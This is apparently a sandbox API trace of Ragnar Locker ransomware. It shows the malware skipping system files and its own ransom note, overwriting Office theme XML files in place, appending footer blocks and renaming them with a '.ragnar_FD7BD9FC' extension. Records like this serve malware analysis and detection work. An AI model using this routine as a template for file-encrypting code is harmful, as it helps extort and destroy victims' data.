[0094.398] lstrcmpiW (lpString1="Office 2.xml", lpString2="bootmgr") returned 1 [0094.398] lstrcmpiW (lpString1="Office 2.xml", lpString2="bootmgr.efi") returned 1 [0094.398] lstrcmpiW (lpString1="Office 2.xml", lpString2="bootmgfw.efi") returned 1 [0094.398] lstrcmpiW (lpString1="Office 2.xml", lpString2="desktop.ini") returned 1 [0094.398] lstrcmpiW (lpString1="Office 2.xml", lpString2="iconcache.db") returned 1 [0094.398] lstrcmpiW (lpString1="Office 2.xml", lpString2="ntldr") returned 1 [0094.398] lstrcmpiW (lpString1="Office 2.xml", lpString2="ntuser.dat") returned 1 [0094.398] lstrcmpiW (lpString1="Office 2.xml", lpString2="ntuser.dat.log") returned 1 [0094.398] lstrcmpiW (lpString1="Office 2.xml", lpString2="ntuser.ini") returned 1 [0094.398] lstrcmpiW (lpString1="Office 2.xml", lpString2="thumbs.db") returned -1 [0094.398] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.398] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.398] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.398] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.398] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.398] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.398] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml")) returned 0x20 [0094.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.399] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3605) returned 1 [0094.399] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe0c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.399] GetProcessHeap () returned 0x580000 [0094.399] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.399] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.401] VirtualAlloc (lpAddress=0x0, dwSize=0xe15, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.401] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.401] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.401] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe15, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe15, lpOverlapped=0x0) returned 1 [0094.401] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.401] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe15, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.401] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe15, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe15, lpOverlapped=0x0) returned 1 [0094.401] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe15, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.401] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.401] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe15, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.402] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.402] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.402] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.402] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.402] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.402] GetProcessHeap () returned 0x580000 [0094.402] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.402] CloseHandle (hObject=0x10c) returned 1 [0094.402] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml" [0094.402] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml.ragnar_FD7BD9FC" [0094.402] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.403] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Classic 2.xml", cAlternateFileName="OFFICE~3.XML")) returned 1 [0094.403] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.403] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Office Classic 2.xml" | out: lpString1="Office Classic 2.xml") returned="Office Classic 2.xml" [0094.403] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml") returned=".xml" [0094.403] lstrcmpiW (lpString1="Office Classic 2.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.403] lstrcmpiW (lpString1="Office Classic 2.xml", lpString2="autorun.inf") returned 1 [0094.403] lstrcmpiW (lpString1="Office Classic 2.xml", lpString2="boot.ini") returned 1 [0094.403] lstrcmpiW (lpString1="Office Classic 2.xml", lpString2="bootfont.bin") returned 1 [0094.403] lstrcmpiW (lpString1="Office Classic 2.xml", lpString2="bootsect.bak") returned 1 [0094.403] lstrcmpiW (lpString1="Office Classic 2.xml", lpString2="bootmgr") returned 1 [0094.403] lstrcmpiW (lpString1="Office Classic 2.xml", lpString2="bootmgr.efi") returned 1 [0094.403] lstrcmpiW (lpString1="Office Classic 2.xml", lpString2="bootmgfw.efi") returned 1 [0094.403] lstrcmpiW (lpString1="Office Classic 2.xml", lpString2="desktop.ini") returned 1 [0094.403] lstrcmpiW (lpString1="Office Classic 2.xml", lpString2="iconcache.db") returned 1 [0094.403] lstrcmpiW (lpString1="Office Classic 2.xml", lpString2="ntldr") returned 1 [0094.403] lstrcmpiW (lpString1="Office Classic 2.xml", lpString2="ntuser.dat") returned 1 [0094.403] lstrcmpiW (lpString1="Office Classic 2.xml", lpString2="ntuser.dat.log") returned 1 [0094.403] lstrcmpiW (lpString1="Office Classic 2.xml", lpString2="ntuser.ini") returned 1 [0094.403] lstrcmpiW (lpString1="Office Classic 2.xml", lpString2="thumbs.db") returned -1 [0094.403] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.403] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.403] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.404] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.404] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.404] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.404] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml")) returned 0x20 [0094.404] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.405] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3585) returned 1 [0094.405] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xdf8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.405] GetProcessHeap () returned 0x580000 [0094.405] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.405] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.406] VirtualAlloc (lpAddress=0x0, dwSize=0xe01, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.406] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.406] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.407] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe01, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe01, lpOverlapped=0x0) returned 1 [0094.407] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.407] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe01, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.407] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe01, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe01, lpOverlapped=0x0) returned 1 [0094.407] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe01, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.407] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.407] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe01, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.407] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.407] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.407] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.407] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.408] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.408] GetProcessHeap () returned 0x580000 [0094.408] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.408] CloseHandle (hObject=0x10c) returned 1 [0094.408] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml" [0094.408] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml.ragnar_FD7BD9FC" [0094.408] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.408] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Classic.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0094.408] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.409] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Office Classic.xml" | out: lpString1="Office Classic.xml") returned="Office Classic.xml" [0094.409] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml") returned=".xml" [0094.409] lstrcmpiW (lpString1="Office Classic.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.409] lstrcmpiW (lpString1="Office Classic.xml", lpString2="autorun.inf") returned 1 [0094.409] lstrcmpiW (lpString1="Office Classic.xml", lpString2="boot.ini") returned 1 [0094.409] lstrcmpiW (lpString1="Office Classic.xml", lpString2="bootfont.bin") returned 1 [0094.409] lstrcmpiW (lpString1="Office Classic.xml", lpString2="bootsect.bak") returned 1 [0094.409] lstrcmpiW (lpString1="Office Classic.xml", lpString2="bootmgr") returned 1 [0094.409] lstrcmpiW (lpString1="Office Classic.xml", lpString2="bootmgr.efi") returned 1 [0094.409] lstrcmpiW (lpString1="Office Classic.xml", lpString2="bootmgfw.efi") returned 1 [0094.409] lstrcmpiW (lpString1="Office Classic.xml", lpString2="desktop.ini") returned 1 [0094.409] lstrcmpiW (lpString1="Office Classic.xml", lpString2="iconcache.db") returned 1 [0094.409] lstrcmpiW (lpString1="Office Classic.xml", lpString2="ntldr") returned 1 [0094.409] lstrcmpiW (lpString1="Office Classic.xml", lpString2="ntuser.dat") returned 1 [0094.409] lstrcmpiW (lpString1="Office Classic.xml", lpString2="ntuser.dat.log") returned 1 [0094.409] lstrcmpiW (lpString1="Office Classic.xml", lpString2="ntuser.ini") returned 1 [0094.409] lstrcmpiW (lpString1="Office Classic.xml", lpString2="thumbs.db") returned -1 [0094.409] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0094.409] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0094.409] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0094.409] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0094.409] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0094.409] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0094.409] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0094.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml")) returned 0x20 [0094.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0094.410] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3616) returned 1 [0094.410] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe17, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.410] GetProcessHeap () returned 0x580000 [0094.410] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.410] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.411] VirtualAlloc (lpAddress=0x0, dwSize=0xe20, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.411] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.411] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.412] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe20, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe20, lpOverlapped=0x0) returned 1 [0094.412] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.412] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe20, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.412] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe20, lpOverlapped=0x0) returned 1 [0094.412] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe20, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.412] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.412] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.412] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.412] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.412] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.412] WriteFile (in: hFile=0x10c, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.413] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.413] GetProcessHeap () returned 0x580000 [0094.413] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.413] CloseHandle (hObject=0x10c) returned 1 [0094.413] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml" [0094.413] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml.ragnar_FD7BD9FC" [0094.413] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.413] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.xml", cAlternateFileName="")) returned 1 [0094.414] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x48 [0094.414] lstrcpyW (in: lpString1=0x1eb64a, lpString2="Opulent.xml" | out: lpString1="Opulent.xml") returned="Opulent.xml" [0094.414] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml") returned=".xml" [0094.414] lstrcmpiW (lpString1="Opulent.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.414] lstrcmpiW (lpString1="Opulent.xml", lpString2="autorun.inf") returned 1 [0094.414] lstrcmpiW (lpString1="Opulent.xml", lpString2="boot.ini") returned 1 [0094.414] lstrcmpiW (lpString1="Opulent.xml", lpString2="bootfont.bin") returned 1 [0094.414] lstrcmpiW (lpString1="Opulent.xml", lpString2="bootsect.bak") returned 1 [0094.414] lstrcmpiW (lpString1="Opulent.xml", lpString2="bootmgr") returned 1 [0094.414] lstrcmpiW (lpString1="Opulent.xml", lpString2="bootmgr.efi") returned 1 [0094.414] lstrcmpiW (lpString1="Opulent.xml", lpString2="bootmgfw.efi") returned 1 [0094.414] lstrcmpiW (lpString1="Opulent.xml", lpString2="desktop.ini") returned 1 [0094.414] lstrcmpiW (lpString1="Opulent.xml", lpString2="iconcache.db") returned 1 [0094.414] lstrcmpiW (lpString1="Opulent.xml", lpString2="ntldr") returned 1 [0094.414] lstrcmpiW (lpString1="Opulent.xml", lpString2="ntuser.dat") returned 1 [0094.414] lstrcmpiW (lpString1="Opulent.xml", lpString2="ntuser.dat.log") returned 1 [0094.414] lstrcmpiW (lpString1="Opulent.xml", lpString2="ntuser.ini") returned 1 [0094.414] lstrcmpiW (lpString1="Opulent.xml", lpString2="thumbs.db") returned -1 